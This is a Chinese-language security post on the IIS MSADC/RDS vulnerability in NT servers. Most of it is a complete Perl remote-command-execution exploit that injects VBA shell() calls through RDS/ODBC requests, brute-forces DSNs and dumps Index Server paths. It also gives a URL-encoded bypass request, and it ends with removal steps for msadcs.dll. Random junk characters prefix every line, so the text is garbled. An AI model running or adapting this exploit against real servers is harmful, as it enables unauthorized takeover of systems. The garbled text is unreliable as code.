IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
HDV$y=oHh sUTh}.[5 涉及程序:
Hb|y`O k Microsoft NT server
6p1)wf.J ?84B0K2Ns 描述:
.W1i3Z 6g 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
W\l"_^d*
}!n90
9L 详细:
t9(sSl 如果你没有时间读详细内容的话,就删除:
9m:G8j' c:\Program Files\Common Files\System\Msadc\msadcs.dll
+(qs{07A$ 有关的安全问题就没有了。
"E/UNE6P4 pR*)\@ma 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
DgiMMmpE "Oj2B|:s& 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Wp0L!X=0
关于利用ODBC远程漏洞的描述,请参看:
Sm(t"#dp p?qW;1 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 0b~{l; 2\, h "W( 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
\$%q <_l http://www.microsoft.com/security/bulletins/MS99-025faq.asp q;0QI{:5v ((T0zQ7= 这里不再论述。
TU(w>v #mK?K 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
b2p;-rv q{*4BL' /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Z;4pI@u 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
bL9EX$P ;S_\-
]m&g lX*IEAc #将下面这段保存为txt文件,然后: "perl -x 文件名"
:*0l*j %A ^qm #!perl
M);@XcS #
{YzRf S # MSADC/RDS 'usage' (aka exploit) script
oiL^$y/:;z #
pcl'!8&7 # by rain.forest.puppy
^:F |2 #
T~"T%r # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
1deNrmp% # beta test and find errors!
_J+p[=[L IS9}@5`' use Socket; use Getopt::Std;
VM [U&g<8n getopts("e:vd:h:XR", \%args);
7UzbS,$x 1O{x9a5Z?O print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
*'&mcEpg A0>u9Bn"Qw if (!defined $args{h} && !defined $args{R}) {
Sy?O(BMo print qq~
WP b4L9< Usage: msadc.pl -h <host> { -d <delay> -X -v }
2A^>>Q/,u -h <host> = host you want to scan (ip or domain)
7[}K 2.W. -d <seconds> = delay between calls, default 1 second
alB[/.1 -X = dump Index Server path table, if available
a&*fk ?o -v = verbose
$Z8=QlG> -e = external dictionary file for step 5
_Uxt9 X Ous_269cM Or a -R will resume a command session
h;(#^+LH D3BNA]P\2@ ~; exit;}
Ka$YKY, ~c*$w O\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Np?%pB!Q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
9Nkr=/I"P if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3TS(il9A if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%1Pn;bUU! $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
:UrS@W^B if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
">LX>uYmX- k Up[b~ if (!defined $args{R}){ $ret = &has_msadc;
rnV\O L die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
;[ag|YU$Y ~VqDh*0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
;Uxr+,x~ . "cmd /c ";
r?l7_aBv3 $in=<STDIN>; chomp $in;
_ 3l ci $command="cmd /c " . $in ;
;>z.wol ~)k OOoH if (defined $args{R}) {&load; exit;}
,iQRf@#W_b /I>o6 CI print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
bZB7t`C5 &try_btcustmr;
9Un3La8PX *b@YoQe3! print "\nStep 2: Trying to make our own DSN...";
YgN:$+g5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
{M.OOEcIp !((J-:= print "\nStep 3: Trying known DSNs...";
^=lh|C\# &known_dsn;
VW[!%< L/U^1=Wi*O print "\nStep 4: Trying known .mdbs...";
aU)NbESu &known_mdb;
U^n71m>]%T 2;z~xR if (defined $args{e}){
D[NJ{E.{ print "\nStep 5: Trying dictionary of DSN names...";
d*e0/#s &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
vl"l 0^L>J"o print "Sorry Charley...maybe next time?\n";
^bZ'z exit;
YA:7^-Bv B`)gXqBt ##############################################################################
j<HBzqP%6 ds*N1[
* sub sendraw { # ripped and modded from whisker
r ^m8kYezQ sleep($delay); # it's a DoS on the server! At least on mine...
-
DO my ($pstr)=@_;
jOYa}jm? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~q.a<B`,t die("Socket problems\n");
IsC`r7 if(connect(S,pack "SnA4x8",2,80,$target)){
lD%Fk3 select(S); $|=1;
!Rq.L print $pstr; my @in=<S>;
R8*z}xy{ select(STDOUT); close(S);
j0XS12eM return @in;
8K]5fkC| } else { die("Can't connect...\n"); }}
3($ cBC O)$rC ##############################################################################
0I`)<o- jc4#k+sb sub make_header { # make the HTTP request
mO6rj=L^ my $msadc=<<EOT
/{[Y l[{"< POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
RWe$ZZSz! User-Agent: ACTIVEDATA
7<T1#~w4L Host: $ip
Ly7|:IbC Content-Length: $clen
)tq&l>0h Connection: Keep-Alive
,u:J"epM ~6)A/]6 ADCClientVersion:01.06
zmw <y2` Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Qcy
/)4Hfg -|"[S"e --!ADM!ROX!YOUR!WORLD!
-&Cb^$.-x Content-Type: application/x-varg
Z4^O`yS9+ Content-Length: $reqlen
fbG+.' [eb?Fd~WB] EOT
y&-1SP< ; $msadc=~s/\n/\r\n/g;
W7F1o[ return $msadc;}
hnk,U:7} 4P406,T]r ##############################################################################
,m`> /e2CB "c sub make_req { # make the RDS request
vDeb?n my ($switch, $p1, $p2)=@_;
fI_I0dc.p my $req=""; my $t1, $t2, $query, $dsn;
wNk 0F7Ck lR[]A if ($switch==1){ # this is the btcustmr.mdb query
/#lqv)s' $query="Select * from Customers where City=" . make_shell();
0:CIM $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
D<16m<b $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)g()b"Z
#> Yq$KYB j elsif ($switch==2){ # this is general make table query
r+0<A.''a $query="create table AZZ (B int, C varchar(10))";
.J0Tn,m $dsn="$p1";}
iFJ1}0<(x vuNt+ elsif ($switch==3){ # this is general exploit table query
[1LlzCAFBw $query="select * from AZZ where C=" . make_shell();
@26gP:Um $dsn="$p1";}
i-<1M|f ccdP}|9e elsif ($switch==4){ # attempt to hork file info from index server
\Nvu[P $query="select path from scope()";
1 +0-VRl $dsn="Provider=MSIDXS;";}
KF%tF4^+| R7nT,7k. elsif ($switch==5){ # bad query
O<RLw)nzg $query="select";
u!B6';XY $dsn="$p1";}
? ZqvR^ S`\03(zDA $t1= make_unicode($query);
I:L}7uA[t $t2= make_unicode($dsn);
|=o)|z2 $req = "\x02\x00\x03\x00";
9 W7 ljUg $req.= "\x08\x00" . pack ("S1", length($t1));
Jp d|<\Ml $req.= "\x00\x00" . $t1 ;
$ #*";b)QY $req.= "\x08\x00" . pack ("S1", length($t2));
tbH`VD"u $req.= "\x00\x00" . $t2 ;
yMd<<:Ap $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
e}PJN6"5
return $req;}
]UMt 6XFLWN-) ##############################################################################
9sgyg3fv>5 M3 TsalF sub make_shell { # this makes the shell() statement
+=V[7^K; return "'|shell(\"$command\")|'";}
v<_wf ' 1 }ybSG ##############################################################################
w
YEkWB^ ^?~WIS sub make_unicode { # quick little function to convert to unicode
pz hPEp; my ($in)=@_; my $out;
qdOUvf for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
;UAi>//# return $out;}
r'bPSu, e2dg{n$6" ##############################################################################
zUIh^hbFf Z)7|m sub rdo_success { # checks for RDO return success (this is kludge)
TdCC,/c3 my (@in) = @_; my $base=content_start(@in);
&>xd6- if($in[$base]=~/multipart\/mixed/){
G2[?b2)8 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Zw`9B return 0;}
m-v0=+~& >x3$Ld ##############################################################################
!1b4q/
# h/#h\ sub make_dsn { # this makes a DSN for us
9'5`0$,|^ my @drives=("c","d","e","f");
blk4@pg print "\nMaking DSN: ";
QyEGK foreach $drive (@drives) {
jR_o!n~5 print "$drive: ";
&*JU
N}86 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
7;i [ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<NYf !bx . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
T!yI+<
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
e|e"lP return 0 if $2 eq "404"; # not found/doesn't exist
=>LQW;Sjz if($2 eq "200") {
'|
6ZPv&N foreach $line (@results) {
LFskNF0X return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
+@"Ls P } return 0;}
(X3}&aLF JnY.]: ##############################################################################
L>>RboR} N+9W2n sub verify_exists {
0|=,!sY my ($page)=@_;
y(fJ{k my @results=sendraw("GET $page HTTP/1.0\n\n");
DCheG7lo{ return $results[0];}
QSNPraT w2(pgWed ##############################################################################
Pl\r|gS; ]=28s
*@ sub try_btcustmr {
'~\\:37+ my @drives=("c","d","e","f");
GD-cP5$ my @dirs=("winnt","winnt35","winnt351","win","windows");
,vh$G 7D ?glK~G!i foreach $dir (@dirs) {
>>b <)?3Rv print "$dir -> "; # fun status so you can see progress
6g-Q foreach $drive (@drives) {
Rh :|ij>B print "$drive: "; # ditto
b9Mp@I7Q- $reqlen=length( make_req(1,$drive,$dir) ) - 28;
8 t5o&8v $reqlenlen=length( "$reqlen" );
8-&c%h
1 $clen= 206 + $reqlenlen + $reqlen;
X? l5} Rh,a4n?W my @results=sendraw(make_header() . make_req(1,$drive,$dir));
dZ,IXA yB if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
xa[)fk$6 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
oWb\T
2!m xiy=D5N.= ##############################################################################
)jPIBzMys ]k#iA9I sub odbc_error {
+/n<]?(T my (@in)=@_; my $base;
)C>8B`^S my $base = content_start(@in);
h3rVa6cxM if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:%4N4|
Q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`Iqh\oY8- $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
BS|$-i5L $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'',g}WvRwe return $in[$base+4].$in[$base+5].$in[$base+6];}
$e, N5/O print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Mc9J Fzp print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
<f9a%`d $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
.2{*>Dzi =oT4!OUf ##############################################################################
HJ+Q7) ;wa#m1 sub verbose {
CxD=8X9m my ($in)=@_;
1}Th@Vq return if !$verbose;
:Xs3Vh,V print STDOUT "\n$in\n";}
yXT.]%) *_sSM+S ##############################################################################
z)ndj
1,#) \gFV6 H?` sub save {
!Bv.@~ my ($p1, $p2, $p3, $p4)=@_;
1$)}EL open(OUT, ">rds.save") || print "Problem saving parameters...\n";
^O
QeOTF print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
T"/dn%21 close OUT;}
G Ml JM iyv5\ ##############################################################################
Gzc`5n{" %z6_ ,|% sub load {
va2FgW`Bd+ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~X(2F#{<{ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
()W`4p @p=<IN>; close(IN);
3Dx@rW\ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
4YgO1}%G $target= inet_aton($ip) || die("inet_aton problems");
3vHkhhYQ print "Resuming to $ip ...";
1 T}jK^" $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
8[H bg if($p[1]==1) {
W1JvLU5L*r $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
! n<SpW; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
B:VGa<lx5 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
cI'su? if (rdo_success(@results)){print "Success!\n";}
?
=I']$MH else { print "failed\n"; verbose(odbc_error(@results));}}
Gc_KS'K@$ elsif ($p[1]==3){
>eWORf>7 if(run_query("$p[3]")){
`Y3\R# print "Success!\n";} else { print "failed\n"; }}
y9U~4 elsif ($p[1]==4){
`$MO;Fv,G if(run_query($drvst . "$p[3]")){
K+|0~/0 print "Success!\n"; } else { print "failed\n"; }}
|j4p exit;}
XZ<8M}Lg |$Cfm} ##############################################################################
u{cb[M n?QglN sub create_table {
8Oa+,?<0x my ($in)=@_;
Sqx'nXgO $reqlen=length( make_req(2,$in,"") ) - 28;
KMx
'( $reqlenlen=length( "$reqlen" );
hh[x(O)TC~ $clen= 206 + $reqlenlen + $reqlen;
?CldcxM# my @results=sendraw(make_header() . make_req(2,$in,""));
n}C0gt- return 1 if rdo_success(@results);
!ScEA= my $temp= odbc_error(@results); verbose($temp);
VAp 1{ return 1 if $temp=~/Table 'AZZ' already exists/;
uANpqT}! return 0;}
T^ - - :1 ^iWJqpLe ##############################################################################
}L
@~!=q* >DAi-`e sub known_dsn {
Z>~7|vl # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
)"](?V
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
%'/^[j# "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
|Yv,zEY) "banner", "banners", "ads", "ADCDemo", "ADCTest");
1.5R`vKn] )d>Dcne foreach $dSn (@dsns) {
==S^IBG print ".";
tYG6Gl next if (!is_access("DSN=$dSn"));
.LGA0 if(create_table("DSN=$dSn")){
w,j;XPp print "$dSn successful\n";
}@~+%_; if(run_query("DSN=$dSn")){
bc;?O`I< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
wEw;],ur print "Something's borked. Use verbose next time\n";}}} print "\n";}
\}AJ)v*< ikO9p|J ##############################################################################
gYloY=.Z$' ]G^9PZ- sub is_access {
hxt;sQAo{ my ($in)=@_;
8tO.o\)h $reqlen=length( make_req(5,$in,"") ) - 28;
{"*_++| $reqlenlen=length( "$reqlen" );
yyGn< $clen= 206 + $reqlenlen + $reqlen;
xZ(d*/6E my @results=sendraw(make_header() . make_req(5,$in,""));
a*t>Ks'C my $temp= odbc_error(@results);
Qjd]BX; verbose($temp); return 1 if ($temp=~/Microsoft Access/);
gGx<k3W^ return 0;}
"N)InPR- -C8LM ls ##############################################################################
)@<HG$# $~\Tl:!#? sub run_query {
ZG?e% my ($in)=@_;
9m<%+S5& $reqlen=length( make_req(3,$in,"") ) - 28;
Y~w1_>b $reqlenlen=length( "$reqlen" );
E= .clA $clen= 206 + $reqlenlen + $reqlen;
L* ScSxw my @results=sendraw(make_header() . make_req(3,$in,""));
|XMWi/p return 1 if rdo_success(@results);
7I*rtc&Kb my $temp= odbc_error(@results); verbose($temp);
bP,Ka return 0;}
KUC%Da3 vQj{yJ\l1 ##############################################################################
ff=RKKnN *?VB/yO=0 sub known_mdb {
V{~~8b1E my @drives=("c","d","e","f","g");
_#uRKy<`N my @dirs=("winnt","winnt35","winnt351","win","windows");
-:~z,F my $dir, $drive, $mdb;
FEX67A8/; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)|#ExyRO O-box? # this is sparse, because I don't know of many
@jq H8 my @sysmdbs=( "\\catroot\\icatalog.mdb",
MZqHL4<| "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
tgHN\@yj "\\system32\\certmdb.mdb",
m)]|mYjju "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
F%4N/e'L mX, @yCI my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
:Zo^Uc:*w "\\cfusion\\cfapps\\forums\\forums_.mdb",
@, AB2D "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
kWs:7jiiu "\\cfusion\\cfapps\\security\\realm_.mdb",
Y![8-L|Q "\\cfusion\\cfapps\\security\\data\\realm.mdb",
,Ek6X)|@ "\\cfusion\\database\\cfexamples.mdb",
%NfH`%` "\\cfusion\\database\\cfsnippets.mdb",
;F"Tu "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
.4[M-@4+] "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
54/ZGaonz "\\cfusion\\brighttiger\\database\\cleam.mdb",
(cI@#x "\\cfusion\\database\\smpolicy.mdb",
j&b<YPZ "\\cfusion\\database\cypress.mdb",
_X@ Q`d "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
]mjKF\ "\\website\\cgi-win\\dbsample.mdb",
R/ x-$VJ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
P ?96; "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
#a'CoJs
); #these are just
nA%8
bZ+ foreach $drive (@drives) {
7M_GGjP foreach $dir (@dirs){
07:h4beT foreach $mdb (@sysmdbs) {
B B^81{A print ".";
+ZV?yR2yn if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
'#~Sb8
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
V8b^{}nxt if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
~H"-km"@ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
6UuM`eu } else { print "Something's borked. Use verbose next time\n"; }}}}}
&(jt|?{ Ri}JM3\J foreach $drive (@drives) {
}:1qK67S foreach $mdb (@mdbs) {
5d}bl{ print ".";
3M'Y'Szm if(create_table($drv . $drive . $dir . $mdb)){
rP/W,!
7:K print "\n" . $drive . $dir . $mdb . " successful\n";
= N:5#A if(run_query($drv . $drive . $dir . $mdb)){
mXMU print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
I;9DG8C&v* } else { print "Something's borked. Use verbose next time\n"; }}}}
Fl"LK:) }
u/wWD@, k9c`[M ##############################################################################
e`)zR'As B*^QTJ sub hork_idx {
W#wC print "\nAttempting to dump Index Server tables...\n";
'lgS)m print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Bm a.Uln $reqlen=length( make_req(4,"","") ) - 28;
u
N_< G $reqlenlen=length( "$reqlen" );
"L9pFz</ $clen= 206 + $reqlenlen + $reqlen;
9Z3Vf[n5\ my @results=sendraw2(make_header() . make_req(4,"",""));
SL<EZn0F9 if (rdo_success(@results)){
=S\pI my $max=@results; my $c; my %d;
~c\2' for($c=19; $c<$max; $c++){
?:F Jc[J $results[$c]=~s/\x00//g;
w2K>k/v{- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
'%a:L^a? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
C.se/\PE $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
uiWo<}t}{ $d{"$1$2"}="";}
8P2_/)| foreach $c (keys %d){ print "$c\n"; }
'2{60t_A } else {print "Index server doesn't seem to be installed.\n"; }}
'47E8PIJ| ,{Z!T5 | ##############################################################################
/EL3Tt }c#W"y5l_ sub dsn_dict {
T\Jm=+]c! open(IN, "<$args{e}") || die("Can't open external dictionary\n");
PW9tZx# while(<IN>){
^n\g, $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
msw=x0{n5 next if (!is_access("DSN=$dSn"));
vQ{mEaH if(create_table("DSN=$dSn")){
kQrby\F(< print "$dSn successful\n";
/ 6DW+! if(run_query("DSN=$dSn")){
e^hI[LbNC print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
BIT<J5> print "Something's borked. Use verbose next time\n";}}}
$- GwNG print "\n"; close(IN);}
cn'rBY i\RB KF ##############################################################################
al4X} !'=<uU- sub sendraw2 { # ripped and modded from whisker
,4(m.P10 sleep($delay); # it's a DoS on the server! At least on mine...
/qd~|[Kx: my ($pstr)=@_;
P>7PO~E. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
KoFWI_(b die("Socket problems\n");
~VPE9D@ if(connect(S,pack "SnA4x8",2,80,$target)){
`V?NS,@$ print "Connected. Getting data";
85+w\KuEY open(OUT,">raw.out"); my @in;
M|7{ZE`Y select(S); $|=1; print $pstr;
DF"*[]^[ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
I&5cUj{GX- close(OUT); select(STDOUT); close(S); return @in;
Lx3`.F\mG } else { die("Can't connect...\n"); }}
H7Pw>Ta ; p{w;y6e ##############################################################################
@DyMq3Gt?& E|=]k sub content_start { # this will take in the server headers
w.Go]dpK my (@in)=@_; my $c;
8ZDWaq8^2N for ($c=1;$c<500;$c++) {
wgZ6|)!0 if($in[$c] =~/^\x0d\x0a/){
EOf*1/Ih if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
t;lK=m| else { return $c+1; }}}
\~""<*Hz return -1;} # it should never get here actually
H(Ad"1~.# 'Y>@t6E4 ##############################################################################
]?hlpL @Sz7*p sub funky {
RIF*9= ,S my (@in)=@_; my $error=odbc_error(@in);
~gOdK-SV* if($error=~/ADO could not find the specified provider/){
;-kg3fGB1Q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
`W4Is~VVv exit;}
BNbz{tbX" if($error=~/A Handler is required/){
5K$d4KT print "\nServer has custom handler filters (they most likely are patched)\n";
MNKY J exit;}
.WW|v if($error=~/specified Handler has denied Access/){
v79\(BX print "\nServer has custom handler filters (they most likely are patched)\n";
Q% J! exit;}}
}yM!o`90 d?=r:TBU ##############################################################################
c)17[9" 'tq4-11xB sub has_msadc {
qApf\o3[0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
us^J!
s7 my $base=content_start(@results);
aX35^K / return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
7]8apei| return 0;}
Br"K{g? 79ZYRm2; ########################
}zHG]k,j lf2(h4[1R !ziO1U 解决方案:
CNyV6jb 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
s!/Q>A 2、移除web 目录: /msadc